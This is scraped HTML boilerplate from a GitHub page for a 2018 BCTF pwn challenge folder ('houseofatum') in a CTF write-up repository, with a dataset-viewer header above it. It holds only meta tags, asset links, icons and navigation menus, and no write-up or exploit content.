text_chunk
stringlengths 151
703k
|
|---|
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>CTF-Writeup/2018/BCTF/Pwn/houseofatum at master · WinMin/CTF-Writeup · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="D8AF:1F9B:4EF8DB0:5121F27:64122578" data-pjax-transient="true"/><meta name="html-safe-nonce" content="13ec170cbe474f6f6e57fc70084e0581f1fc0055254d6844d528ffac8ce4d0e3" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJEOEFGOjFGOUI6NEVGOERCMDo1MTIxRjI3OjY0MTIyNTc4IiwidmlzaXRvcl9pZCI6IjEwMTEzMzY3NjY5MTE4MTcwODAiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="6516424895ebdc5d5a487c32bba493abb6e0165106909be42fbe25bc913464ad" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:68260909" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="CTF challenge and Writeup. Contribute to WinMin/CTF-Writeup development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/060ae1e3bb7bb30f43fed0946803202a827f498cdd64f0de0cd7df718d2b389d/WinMin/CTF-Writeup" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTF-Writeup/2018/BCTF/Pwn/houseofatum at master · WinMin/CTF-Writeup" /><meta name="twitter:description" content="CTF challenge and Writeup. Contribute to WinMin/CTF-Writeup development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/060ae1e3bb7bb30f43fed0946803202a827f498cdd64f0de0cd7df718d2b389d/WinMin/CTF-Writeup" /><meta property="og:image:alt" content="CTF challenge and Writeup. Contribute to WinMin/CTF-Writeup development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTF-Writeup/2018/BCTF/Pwn/houseofatum at master · WinMin/CTF-Writeup" /><meta property="og:url" content="https://github.com/WinMin/CTF-Writeup" /><meta property="og:description" content="CTF challenge and Writeup. Contribute to WinMin/CTF-Writeup development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/WinMin/CTF-Writeup git https://github.com/WinMin/CTF-Writeup.git">
<meta name="octolytics-dimension-user_id" content="18380453" /><meta name="octolytics-dimension-user_login" content="WinMin" /><meta name="octolytics-dimension-repository_id" content="68260909" /><meta name="octolytics-dimension-repository_nwo" content="WinMin/CTF-Writeup" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="68260909" /><meta name="octolytics-dimension-repository_network_root_nwo" content="WinMin/CTF-Writeup" />
<link rel="canonical" href="https://github.com/WinMin/CTF-Writeup/tree/master/2018/BCTF/Pwn/houseofatum" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
